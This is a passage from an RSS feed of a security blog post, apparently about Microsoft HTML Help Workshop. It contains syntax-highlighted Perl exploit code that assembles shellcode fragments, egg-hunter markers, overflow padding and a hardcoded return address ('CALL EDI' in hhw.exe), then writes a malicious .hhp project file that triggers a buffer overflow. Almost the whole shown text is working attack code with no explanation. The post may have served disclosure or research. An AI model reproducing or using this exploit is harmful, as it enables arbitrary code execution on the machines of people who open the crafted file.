    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>d4&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>e7&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">280</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">55</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #0000ff;">$len</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">55</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#0x00401f93   CALL EDI [hhw.exe]</span>
&nbsp;
    <span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt; s.hhp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$hhpprj_file</span> <span style="color: #0000ff;">$hhp_data1</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$ret</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$hhp_data2</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout4</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/10/microsoft-html-workshop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

